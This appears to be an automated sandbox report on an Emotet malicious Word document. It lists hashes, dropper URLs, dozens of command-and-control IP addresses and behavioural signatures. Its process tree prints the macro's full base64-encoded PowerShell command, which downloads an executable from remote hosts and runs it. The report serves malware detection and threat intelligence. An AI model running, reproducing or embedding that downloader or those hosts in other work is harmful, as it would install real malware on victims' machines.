Analysis
- max time kernel
138s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
31/07/2020, 22:59
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_31e71057741f6f610cdef83cb8a39857f613c393f266b4e04553c7b9ef80369a_2020-07-31__225902._doc.doc
Resource
win7
General
- Target emotet_e3_31e71057741f6f610cdef83cb8a39857f613c393f266b4e04553c7b9ef80369a_2020-07-31__225902._doc.doc
- Size 174KB
- Sample200731-21w1vcpgm6
- SHA256 31e71057741f6f610cdef83cb8a39857f613c393f266b4e04553c7b9ef80369a
- MD5 50d4fd2fa1c4dba71d89f28aa57f4204
- SHA1 1846f2282aae187ac0d0c4862497ed5b74192383
- SHA512 cba3e83939e195b32f6f953fa9518b6f6563f1c0ca7cb33c0c9f14e55002cf81aaeaf3d1162e1e6b39391d3aed50469c04ffe93597a72ba8872cd8df69c6de81
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://prolicitar.com.br/privilege/VwWMjYDU/
-
exe.dropper
http://proreclame.nl/assets/Riw/
-
exe.dropper
http://www.meltonian.net/Blog/Zaviixl730/
-
exe.dropper
http://www.mollymoody.com/iRVKRMq/
-
exe.dropper
https://mwrouse.com/cs2300/qVJaPCy/
Extracted
-
emotet
-
187.64.128.197:80
-
198.57.203.63:8080
-
163.172.107.70:8080
-
212.112.113.235:80
-
157.7.164.178:8081
-
181.167.35.84:80
-
212.156.133.218:80
-
185.142.236.163:443
-
181.143.101.19:8080
-
75.127.14.170:8080
-
115.165.3.213:80
-
190.55.233.156:80
-
139.59.12.63:8080
-
144.139.91.187:80
-
37.70.131.107:80
-
181.113.229.139:443
-
41.185.29.128:8080
-
177.37.81.212:443
-
5.79.70.250:8080
-
78.188.170.128:80
-
190.111.215.4:8080
-
50.116.78.109:8080
-
75.139.38.211:80
-
140.207.113.106:443
-
192.241.220.183:8080
-
192.210.217.94:8080
-
81.17.93.134:80
-
181.164.110.7:80
-
190.164.75.175:80
-
201.214.108.231:80
-
94.96.60.191:80
-
192.163.221.191:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
24.157.25.203:80
-
81.214.253.80:443
-
87.106.231.60:8080
-
37.46.129.215:8080
-
195.201.56.70:8080
-
201.235.10.215:80
-
107.161.30.122:8080
-
113.160.180.109:80
-
87.252.100.28:80
-
115.79.195.246:80
-
113.161.148.81:80
-
74.208.173.91:8080
-
46.105.131.68:8080
-
172.105.78.244:8080
-
189.146.1.78:443
-
216.75.37.196:8080
-
203.153.216.182:7080
-
153.220.182.49:80
-
181.134.9.162:80
-
178.33.167.120:8080
-
46.49.124.53:80
-
143.95.101.72:8080
-
77.74.78.80:443
-
203.153.216.178:7080
-
179.5.118.12:80
-
24.232.36.99:80
-
177.144.130.105:443
-
46.32.229.152:8080
-
89.108.158.234:8080
Signatures
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3248 powersheLL.exe 3248 powersheLL.exe 3248 powersheLL.exe 2664 c_GSM7.exe 2664 c_GSM7.exe 2664 c_GSM7.exe 2664 c_GSM7.exe 2664 c_GSM7.exe 2664 c_GSM7.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3556 wrote to memory of 2664 3556 751.exe 76 PID 3556 wrote to memory of 2664 3556 751.exe 76 PID 3556 wrote to memory of 2664 3556 751.exe 76 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3556-9-0x00000000021A0000-0x00000000021AC000-memory.dmp emotet behavioral2/memory/3556-9-0x00000000021A0000-0x00000000021AC000-memory.dmp emotet behavioral2/memory/2664-12-0x0000000000580000-0x000000000058C000-memory.dmp emotet behavioral2/memory/2664-12-0x0000000000580000-0x000000000058C000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\icacls\c_GSM7.exe 751.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3556 751.exe 2664 c_GSM7.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3248 640 powersheLL.exe 66 - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3248 powersheLL.exe - Blacklisted process makes network request 2 IoCs
flow pid Process 17 3248 powersheLL.exe 19 3248 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3556 751.exe 2664 c_GSM7.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_31e71057741f6f610cdef83cb8a39857f613c393f266b4e04553c7b9ef80369a_2020-07-31__225902._doc.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3740
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAFAATABCAEkAYQB6AGcAIAA9ACAAJwA3ADUAMQAnADsAJABNAEwASgBUAFoAeQB4AGgAPQAnAFcATABMAFkATQBkAGUAZgAnADsAJABXAEgATgBDAFcAYwBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAUABMAEIASQBhAHoAZwArACcALgBlAHgAZQAnADsAJABWAFQARgBOAEEAdwBqAGkAPQAnAFEAVwBBAEoATgBoAHAAdAAnADsAJABIAFcAVQBTAEMAcgBxAGEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAGIAQwBsAGkARQBuAHQAOwAkAFAASQBMAEQAUQBzAGYAeAA9ACcAaAB0AHQAcAA6AC8ALwBwAHIAbwBsAGkAYwBpAHQAYQByAC4AYwBvAG0ALgBiAHIALwBwAHIAaQB2AGkAbABlAGcAZQAvAFYAdwBXAE0AagBZAEQAVQAvACoAaAB0AHQAcAA6AC8ALwBwAHIAbwByAGUAYwBsAGEAbQBlAC4AbgBsAC8AYQBzAHMAZQB0AHMALwBSAGkAdwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AZQBsAHQAbwBuAGkAYQBuAC4AbgBlAHQALwBCAGwAbwBnAC8AWgBhAHYAaQBpAHgAbAA3ADMAMAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwBsAGwAeQBtAG8AbwBkAHkALgBjAG8AbQAvAGkAUgBWAEsAUgBNAHEALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHcAcgBvAHUAcwBlAC4AYwBvAG0ALwBjAHMAMgAzADAAMAAvAHEAVgBKAGEAUABDAHkALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AUwBCAEIAUQBhAHoAegA9ACcATwBMAFEATgBPAGYAdgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAFQATQBYAFQAZQB6AHMAIABpAG4AIAAkAFAASQBMAEQAUQBzAGYAeAApAHsAdAByAHkAewAkAEgAVwBVAFMAQwByAHEAYQAuACIARABgAG8AVwBuAGwATwBBAGAARABmAGkAYABMAEUAIgAoACQAWQBUAE0AWABUAGUAegBzACwAIAAkAFcASABOAEMAVwBjAGoAcgApADsAJABFAFkATABOAEsAcgBpAGgAPQAnAE8ATgBYAEUASgB0AHAAcgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcASABOAEMAVwBjAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAOQA2ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAHQAZQAiACgAJABXAEgATgBDAFcAYwBqAHIAKQA7ACQAVQBEAEYATwBBAGIAdQB3AD0AJwBEAEgAVgBPAFAAZwBrAHUAJwA7AGIAcgBlAGEAawA7ACQAWQBJAEsAUwBKAG8AawBtAD0AJwBKAEMAWABYAFcAdAB6AGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBLAEsATABQAHUAagBkAD0AJwBUAFoASQBYAFkAeQBsAHMAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:3248
-
C:\Users\Admin\751.exeC:\Users\Admin\751.exe1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:3556 -
C:\Windows\SysWOW64\icacls\c_GSM7.exe"C:\Windows\SysWOW64\icacls\c_GSM7.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:2664
-